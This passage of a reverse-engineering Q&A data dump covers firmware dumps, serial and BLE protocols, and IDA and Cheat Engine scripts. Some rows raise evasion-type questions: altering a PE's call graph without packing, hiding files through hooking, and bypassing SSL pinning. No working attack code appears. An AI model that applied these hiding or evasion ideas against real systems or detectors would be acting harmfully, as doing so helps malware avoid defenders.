appreciated.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Thanks,&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31398" LastEditorUserId="31398" LastEditDate="2020-03-20T10:49:44.237" LastActivityDate="2020-03-20T13:05:28.470" Title="Unable to intercept traffic of an android app even after patching ssl pinning" Tags="|ida|disassembly|debugging|android|patch-reversing|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23433" PostTypeId="1" AcceptedAnswerId="25026" CreationDate="2020-03-14T05:58:54.143" Score="0" ViewCount="294" Body="&lt;p&gt;What i want to do is take a PE file, extract its call-graph, and then inject a junk function in it, so for example by injecting a junk function inside of it, and changing a call instruction's opcode to point to this junk function, and then returning to the original destination after the junk code is done without changing the behavior of program&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so is there any open source program that does this so i can see how they did it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my idea is to create a new section in PE at the end of it, and change section headers by modifying an existing section which is not used or appending a new section header, and then change some call instruction to point to this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem i think i will face is long calls, basically if the offset between junk code and call instruction is too far, then i have to change the call instruction to a far call instruction which makes things really complicated if not impossible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so any suggestion? do you guys happen to know any open-source program that does this? or maybe i can approach this better? all i want is to change the call-graph of a PE file&lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2020-05-15T17:32:08.117" Title="What is the best way to change the call-graph of a PE file without changing its real behavior and without packing it?" Tags="|windows|x86|malware|pe|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23434" PostTypeId="2" ParentId="23431" CreationDate="2020-03-14T11:45:30.527" Score="5" Body="&lt;p&gt;The firmware is incorrectly dumped. In your file all occurrences of the byte &lt;code&gt;0A&lt;/code&gt; have been replaced with &lt;code&gt;0D 0A&lt;/code&gt;. Looks like a line ending issue. May be the tool which you have used to dump the firmware have prepended a &lt;code&gt;0D&lt;/code&gt; to each &lt;code&gt;0A&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After replacing all instances of &lt;code&gt;0D 0A&lt;/code&gt; with &lt;code&gt;0A&lt;/code&gt;, it has an exact size of 256 KiB (262144 bytes) as it should be. Previously it had a size of 263788 bytes ~ 257.6 KiB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I've uploaded the fixed firmware &lt;a href=&quot;https://send.firefox.com/download/7c1b0606a4118766/#tMQz5dAQHmK2MsXbBKyZUA&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./sfk196-linux-64.exe replace dump.bin  -binary /0d0a/0a/ -yes&#xA;[total hits/matching patterns/non-matching patterns]&#xA;[1644/1/0] dump.bin   -1644 bytes&#xA;1 files checked, 1 changed.&#xA;&#xA;$ du -b dump.bin&#xA;262144  dump.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Further you can use &lt;a href=&quot;https://github.com/DigitalSecurity/nrf5x-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;nrf5x-tools&lt;/a&gt; on the fixed firmware to verify.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python3 ./nrfident.py bin ../dump.bin 2&amp;gt;/dev/null&#xA;############################ nRF5-tool ############################&#xA;#####                                                         #####&#xA;#####                Identifying nRF5x firmwares              #####&#xA;#####                                                         #####&#xA;###################################################################&#xA;&#xA;&#xA;Binary file provided ../dump.bin&#xA;&#xA;Computing signature from binary&#xA;Signature:  26d6240e598f89b8aeabcecb96f3c5595b07bfc315b969a13aca34b2e61a7dc0&#xA;Searching for signature in nRF.db&#xA;=========================&#xA;SDK version:  8.1.0&#xA;SoftDevice version: s110&#xA;NRF: nrf51822&#xA;=========================&#xA;SDK version:  9.0.0&#xA;SoftDevice version: s110&#xA;NRF: nrf51822&#xA;=========================&#xA;SDK version:  10.0.0&#xA;SoftDevice version: s110&#xA;NRF: nrf51822&#xA;=========================&#xA;SDK version:  8.0.0&#xA;SoftDevice version: s110&#xA;NRF: nrf51822&#xA;                               ==================&#xA;nRF5x signature written to file nRF_ver in current directory&#xA;nRF_ver path must be provided when running nrfreverse.py from IDA&#xA;&#xA;                                     *****&#xA;                                  Binary mapping&#xA;                                     *****&#xA;&#xA;SoftDevice  :  s110&#xA;Card version :  xxaa&#xA;           *****&#xA;RAM address  :  0x20002000&#xA;RAM length   :  0x2000&#xA;ROM address  :  0x18000&#xA;ROM length   :  0x28000&#xA;&#xA;                                     *****&#xA;                                  Binary mapping&#xA;                                     *****&#xA;&#xA;SoftDevice  :  s110&#xA;Card version :  xxab&#xA;           *****&#xA;RAM address  :  0x20002000&#xA;RAM length   :  0x2000&#xA;ROM address  :  0x18000&#xA;ROM length   :  0x8000&#xA;&#xA;                                     *****&#xA;                                  Binary mapping&#xA;                                     *****&#xA;&#xA;SoftDevice  :  s110&#xA;Card version :  xxac&#xA;           *****&#xA;RAM address  :  0x20002000&#xA;RAM length   :  0x6000&#xA;ROM address  :  0x18000&#xA;ROM length   :  0x28000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Loading the binary in Ghidra using the language &lt;code&gt;ARM-Cortex-32-little&lt;/code&gt;, the code is readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/guQzz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/guQzz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still some errors but those are because I have not created the memory segments. For more information look into the &lt;a href=&quot;https://infocenter.nordicsemi.com/pdf/nRF51_RM_v3.0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;nRF51 Series Reference Manual&lt;/a&gt;, Section - 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v7L8t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v7L8t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2020-03-15T09:57:33.997" LastActivityDate="2020-03-15T09:57:33.997" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23435" PostTypeId="1" CreationDate="2020-03-14T16:53:58.827" Score="2" ViewCount="219" Body="&lt;p&gt;I have an old water purifier system that consists of a PDA and a main board (I think the ic is a Renesas) that communicate by RS232, I need to know the protocol they use to communicate in order to reproduce it from another device. I already have it practically done, below I detail the characteristics that I have been able to extract:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Protocol details&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RS232&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Endian: LSB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Baud rate: 9600&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data: 8 bits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stop bits: 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parity: Odd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Packet size: 21 Bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Character start / stop: 90&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Polarity: Positive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time between two bytes: 6.8 mS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time between packets: 1.9 s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;second-last (byte 20): checksum (simple sum of all data bytes + 90)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Message format&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDA (TX): 90 + (18 * data_byte) + checksum + unknown_byte&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainboard (TX): 90 + (18 * data_byte) + checksum + 90 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also already have an idea what each byte of data corresponds to, but the last byte (unknown_byte), I don't know what it corresponds to, it varies constantly even though the data is the same. When I turn on the PDA, it continuously sends the same sequence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;  90 + (18 * zero_byte) + 90 + &lt;strong&gt;unknown_byte&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last byte seems to follow a sequence from the start of the PDA, but it does not get to repeat itself exactly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;05, EA, EC, F1, E9, EE, F4, EB, F1, E8, EE, F3, EB, F0, E8, ED, F3, EA, F0, F5, ED, F2, E6, EC, F1, E9, EE, F4, EB, F1, E8, EE, F3, EB, F0, f6, E8, ED, F2, EA, F5, EC, F2, E9, EF, F4, E8, EE, F3, EB, F0, F6, ED, F2, EA, EF, F5, E7, EC ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other sequence in DEC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5,234,236,241,233,238,244,235,241,232,238,243,235,240,232,237,243,234,240,245,237,242,230,236,241,233,238,244,235,241,232,238,243,235,240,246,237,242,234,239,245,236,242,233,239,244,232,238,243,235,240,232,237,242,234,239,245,236,242,233,239,244,236,241,233,238,244,235,237,243,234,240,245,237,242,234,225,245,236,242,233,239,244,236,241,233,238,244,235,240,229,234,239,245,236,242,233,239,244,236,241,233,238,244,235,240,232,237,243,234,240&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what this field may correspond to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="31407" LastEditorUserId="31407" LastEditDate="2020-03-15T13:33:40.890" LastActivityDate="2020-08-14T21:07:35.910" Title="Reverse Engineering RS232 protocol misterious last byte" Tags="|embedded|serial-communication|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23436" PostTypeId="2" ParentId="23426" CreationDate="2020-03-14T21:08:54.160" Score="2" Body="&lt;p&gt;You can try copy-pasting the following code into the built-in Python interpreter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;&#xA;for s in idautils.Strings():&#xA;    ida_bytes.create_strlit(s.ea, 0, ida_nalt.STRTYPE_TERMCHR)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will create string literals for all the entries in the Strings window.&lt;/p&gt;&#xA;" OwnerUserId="31409" LastActivityDate="2020-03-14T21:08:54.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23440" PostTypeId="2" ParentId="23433" CreationDate="2020-03-15T09:31:19.347" Score="0" Body="&lt;p&gt;It looks like you are looking for some hooking frameworks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check &lt;a href=&quot;https://www.microsoft.com/en-us/research/project/detours/&quot; rel=&quot;nofollow noreferrer&quot;&gt;detours&lt;/a&gt; and &lt;a href=&quot;https://frida.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Frida&lt;/a&gt; for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in particular this &lt;a href=&quot;https://github.com/microsoft/detours/wiki/Using-Detours&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-03-15T09:31:19.347" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23441" PostTypeId="1" CreationDate="2020-03-15T12:30:25.443" Score="1" ViewCount="125" Body="&lt;p&gt;I'm reversing an executable, there is a function in the executable that uses global variables that are not used in any other function, they are initiated in the target function, My question is will Appcall work on these circumstances?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="31417" LastActivityDate="2023-08-27T04:07:15.810" Title="Appcall on function that uses global variables" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23442" PostTypeId="2" ParentId="23441" CreationDate="2020-03-15T12:47:02.277" Score="1" Body="&lt;p&gt;Appcall will work since it simply executes the function’s code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the function itself may fail if the global state is not what it expects. So I suggest you to let the application run for a while so that the global data is initialized properly, pause it and then use Appcall. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-03-15T12:47:02.277" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23443" PostTypeId="2" ParentId="23435" CreationDate="2020-03-15T13:18:59.023" Score="1" Body="&lt;p&gt;Without access to the code it’s hard to say for sure but I think it’s some kind of sequence number. I’d suggest trying to record as many sequences as you can and try sending the replay on your own to see if you get the same responses. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-03-15T13:18:59.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23444" PostTypeId="2" ParentId="23419" CreationDate="2020-03-15T13:23:54.483" Score="1" Body="&lt;p&gt;If you have SWD you should be able to get at least the device ID or determine the device family. For example, most Cortex-M devices have a pretty uniform memory map. &#xA;You can also probe memory reads (e.g. each 0x1000 bytes) to determine what addresses are valid. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-03-15T13:23:54.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23446" PostTypeId="1" CreationDate="2020-03-15T17:43:59.567" Score="2" ViewCount="5009" Body="&lt;p&gt;I'm trying to reverse engineer a C# file that requires a password to continue running. When I load it in IDA Pro I get nothing in the functions window and a sp-analysis failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C18tp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;What I see when loaded&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31418" LastActivityDate="2022-06-23T01:14:16.290" Title="IDA Pro sp-analysis failed" Tags="|disassembly|c#|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23448" PostTypeId="1" CreationDate="2020-03-15T22:07:28.670" Score="1" ViewCount="578" Body="&lt;p&gt;I found this javascript file on one of those online movie streaming services and was interested in finding out what it does.  However, after trying many deobfuscators I am still stuck.  A major problem preventing me from making progress was that when I tried staying on the page too long, Chromium (Firefox had the same problem) would run out of memory and freeze.  Running it in node resulted in the same thing (&quot;FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory&quot;).  This also prevented me from trying to add console.log statements because it would simply freeze.  I am not experienced enough to see what is actually causing these massive allocations to occur.  Any advice as to where I should look next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original File URL: &lt;a href=&quot;https://videospider.in/js/play2.min.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://videospider.in/js/play2.min.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Archived: &lt;a href=&quot;https://pastebin.com/ycw6MSLQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/ycw6MSLQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30037" LastActivityDate="2023-02-08T18:07:35.877" Title="Reverse Engineering Javascript - Out of Memory" Tags="|memory|deobfuscation|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23449" PostTypeId="1" CreationDate="2020-03-15T22:12:38.453" Score="1" ViewCount="598" Body="&lt;p&gt;I am opening this question, because it would be nice to create an open source app for this BLE voltage monitor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.aliexpress.com/item/32794632957.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.aliexpress.com/item/32794632957.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.quicklynks.com/pro_show.php?id=159&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.quicklynks.com/pro_show.php?id=159&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it is easy to understand the protocol, but I can't find any similar patterns in data. I collected BLE data with gatttool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[LE]&amp;gt; connect F8:30:02:2D:4D:9C&#xA;Attempting to connect to F8:30:02:2D:4D:9C&#xA;Connection successful&#xA;Notification handle = 0x002e value: b4 db ec df bc dc 19 b5 d6 0f fa e1 cf 9b 79 44&#xA;Notification handle = 0x002e value: c0 fc fd 6f c3 ad 32 9a 56 43 39 57 91 16 ad 90&#xA;Notification handle = 0x002e value: 09 90 cf 1d 17 59 17 6e 8a 40 ca 8f ea 6b e8 69&#xA;Notification handle = 0x002e value: 8a b3 b1 26 3d 82 8c 56 6e 9e 55 0b fd c7 e4 a2&#xA;Notification handle = 0x002e value: 56 f4 19 a3 d2 ff 96 de a0 93 0b d7 78 d9 8a d8&#xA;Notification handle = 0x002e value: 77 88 82 c5 85 4d 75 0b bb ed 68 22 45 b3 99 3f&#xA;Notification handle = 0x002e value: 9c c9 37 d7 0c f9 34 db ca cd 80 db 23 ed d7 eb&#xA;Notification handle = 0x002e value: 33 22 c8 59 be 5a 2e cb 0f 88 6b 6d d5 09 fe a6&#xA;Notification handle = 0x002e value: 90 8e 97 ce be 46 f0 be 0a 60 d3 44 a6 3a 06 7e&#xA;Notification handle = 0x002e value: d7 6f d8 81 71 a0 2f 1e 86 ad a4 f1 a6 07 57 37&#xA;Notification handle = 0x002e value: b9 61 70 6e 4a a0 c2 ba 56 ad 64 ef e1 8b 32 bc&#xA;Notification handle = 0x002e value: f0 09 9a cd ba 03 98 5c c4 14 bd 60 50 07 67 a2&#xA;Notification handle = 0x002e value: 12 5c a7 99 b9 0d 8d 55 1c a7 42 d6 48 21 92 50&#xA;Notification handle = 0x002e value: 2e 16 c9 b1 60 ca c7 a2 0f 20 b0 85 77 e2 31 b0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Voltage set to 18.00V (sometimes it reads 18.01V). 18 in HEX is 12, searching for 12 I found only one occurrence. Maybe the data is encoded? In this case I think it is nearly impossible to decode the protocol.&lt;/p&gt;&#xA;" OwnerUserId="31422" LastActivityDate="2020-12-02T03:03:52.330" Title="BM2 Bluetooth Car Battery Voltage Monitor protocol" Tags="|bluetooth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23450" PostTypeId="1" CreationDate="2020-03-16T01:03:27.123" Score="5" ViewCount="2413" Body="&lt;p&gt;Im using cheat engine as a beginner to getting into Disassembly and Hacking, and I want to know how to modify an address/pointer (not really sure how to term it) thats using a &lt;code&gt;movss [...],xmm#&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, Im modifying the Health in Satisfactory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fall damage causes the &lt;code&gt;movss [rbx+00000164],xmm0&lt;/code&gt; to fire, &lt;code&gt;xmm0&lt;/code&gt; represents the amount of health subtracted from the damage of falling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it sends &lt;code&gt;xmm0&lt;/code&gt; to &lt;code&gt;rbx+000000164&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That causes the health to go down. I want it to go Up, or not lose/gain any at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried seeing if there were any xmm#s in the scanner that lined up with max health (100) to see if I could just send the player's max health every time they took damage (This would solve it easily)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it doesnt have it.&#xA;As seen here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nRRcU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRRcU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was following a tutorial &lt;a href=&quot;https://wiki.cheatengine.org/index.php?title=Tutorials:Auto_Assembler:Injection_full&quot; rel=&quot;noreferrer&quot;&gt;https://wiki.cheatengine.org/index.php?title=Tutorials:Auto_Assembler:Injection_full&lt;/a&gt;, but they made it super simple, mentioning only...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now the easiest thing to do here, since the code already adds is to just make the number positive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thats not very informing, they were lucky, their value is just a number that can be set to positive or negative, or just be modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine cant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So the big question is, is there anything I can do to modify or change it? I need to make this simpler.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, heres my script that Im using to actually &quot;hack&quot; the health. All it does right now is the default xmm0 send, basically it does nothing.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ Game   : FactoryGame-Win64-Shipping.exe&#xA;  Version: &#xA;  Date   : 2020-03-15&#xA;  Author : taylo&#xA;&#xA;  This script does blah blah blah&#xA;}&#xA;&#xA;define(address,&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3AA)&#xA;define(bytes,F3 0F 11 83 64 01 00 00)&#xA;&#xA;[ENABLE]&#xA;//code from here to '[DISABLE]' will be used to enable the cheat&#xA;&#xA;&#xA;&#xA;assert(address,bytes)&#xA;alloc(newmem,$1000,&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3AA)&#xA;&#xA;label(code)&#xA;label(return)&#xA;&#xA;newmem:&#xA;&#xA;code:&#xA;  movss [rbx+00000164],xmm0&#xA;  jmp return&#xA;&#xA;address:&#xA;  jmp newmem&#xA;  nop 3&#xA;return:&#xA;&#xA;[DISABLE]&#xA;//code from here till the end of the code will be used to disable the cheat&#xA;address:&#xA;  db bytes&#xA;  // movss [rbx+00000164],xmm0&#xA;&#xA;dealloc(newmem)&#xA;&#xA;{&#xA;// ORIGINAL CODE - INJECTION POINT: &quot;FactoryGame-Win64-Shipping.exe&quot;+90E3AA&#xA;&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E376: 49 89 6B B0              -  mov [r11-50],rbp&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E37A: 4D 89 73 A8              -  mov [r11-58],r14&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E37E: E8 BD D5 FB FF           -  call FactoryGame-Win64-Shipping.exe+8CB940&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E383: 0F 28 C8                 -  movaps xmm1,xmm0&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E386: 0F 2F 0D 53 B9 64 02     -  comiss xmm1,[FactoryGame-Win64-Shipping.exe+2F59CE0]&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E38D: 0F 82 B9 00 00 00        -  jb FactoryGame-Win64-Shipping.exe+90E44C&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E393: F3 0F 10 83 64 01 00 00  -  movss xmm0,[rbx+00000164]&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E39B: F3 0F 5F CE              -  maxss xmm1,xmm6&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E39F: 0F B6 83 6C 01 00 00     -  movzx eax,byte ptr [rbx+0000016C]&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3A6: F3 0F 5C C1              -  subss xmm0,xmm1&#xA;// ---------- INJECTING HERE ----------&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3AA: F3 0F 11 83 64 01 00 00  -  movss [rbx+00000164],xmm0&#xA;// ---------- DONE INJECTING  ----------&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3B2: A8 01                    -  test al,01&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3B4: 75 4C                    -  jne FactoryGame-Win64-Shipping.exe+90E402&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3B6: A8 02                    -  test al,02&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3B8: 74 1D                    -  je FactoryGame-Win64-Shipping.exe+90E3D7&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3BA: 48 89 6C 24 28           -  mov [rsp+28],rbp&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3BF: 4C 8B CF                 -  mov r9,rdi&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3C2: 0F 28 D1                 -  movaps xmm2,xmm1&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3C5: 4C 89 74 24 20           -  mov [rsp+20],r14&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3CA: 48 8B D6                 -  mov rdx,rsi&#xA;&quot;FactoryGame-Win64-Shipping.exe&quot;+90E3CD: 48 8B CB                 -  mov rcx,rbx&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29482" LastEditorUserId="29482" LastEditDate="2020-03-16T01:14:31.743" LastActivityDate="2021-05-29T20:15:19.050" Title="Is it possible to modify a movss or xmm# in Assembly using Cheat Engine?" Tags="|disassembly|assembly|cheat-engine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23452" PostTypeId="1" CreationDate="2020-03-16T12:46:08.163" Score="2" ViewCount="425" Body="&lt;p&gt;I am trying to understand how to hide a file in windows as a way to learn about win api and malware analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is to make a file &quot;disappear&quot; via some kind of manipulation. But I am not sure how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for instance i wanted to make a cmd or a specific browsing application not show the file, I would've, in my opinion, use hooking/dll injection so that if application equals the name of the app I am trying to hide, it would skip the offset, as if to the next file. However, I can't hook all the processes in the world and was wondering if there's a smarter way to do so. Is there any mechanism in windows, or some winapi that is responsible of keeping a &quot;record&quot; of the file system that will always be called when a program/process wants to traverse/find the contents of some directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you approach this simple task? I am pretty sure malware authors have done very tricky and sophisticated things and I am trying to learn ways to recognize this behavior so it's easier to be stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="31427" LastActivityDate="2020-03-17T16:00:57.240" Title="Hiding a file in a Windows operating system" Tags="|windows|patching|function-hooking|dll-injection|hooking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23453" PostTypeId="1" CreationDate="2020-03-16T17:08:04.890" Score="0" ViewCount="29" Body="&lt;p&gt;I have seen functions like this before in disassembly but don't have a clue what they are. Their names are extremely confusing. Would someone be able to explain what these are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zG2so.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zG2so.png&quot; alt=&quot;Picture of disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30432" LastActivityDate="2020-03-16T17:08:04.890" Title="Understanding obscure function names" Tags="|disassembly|c++|pe|functions|" AnswerCount="0" CommentCount="2" ClosedDate="2020-03-16T17:27:17.660" ContentLicense="CC BY-SA 4.0" />
  <row Id="23454" PostTypeId="1" CreationDate="2020-03-17T06:08:56.600" Score="6" ViewCount="1614" Body="&lt;p&gt;I'm writing an &lt;strong&gt;Autohotkey&lt;/strong&gt; script to toggle &lt;code&gt;Listen to this device&lt;/code&gt; for my microphone, without interacting with a GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cn4PP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cn4PP.png&quot; alt=&quot;listen to this device&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be a simple registry key being modified so I used &lt;strong&gt;RegShot&lt;/strong&gt; to find the key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\{My-Microphone's-UUID}\Properties&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key is called &lt;code&gt;{24dbb0fc-9311-4b3d-9cf0-18ff155639d4},1&lt;/code&gt; (On all computers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the value when toggling the &lt;code&gt;Listen to this device&lt;/code&gt; changes like this: (The &lt;em&gt;0&lt;/em&gt;'s change to &lt;em&gt;f&lt;/em&gt;'s)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxxxxxxxxxxxxxx0000xxxx&#xA;xxxxxxxxxxxxxxxxffffxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I check the GUI, I see that the &lt;code&gt;Listen to this device&lt;/code&gt; tick-box has been ticked but I can't actually hear anything from my mic, when I un-tick it, click apply, re-tick it and apply again, I hear my 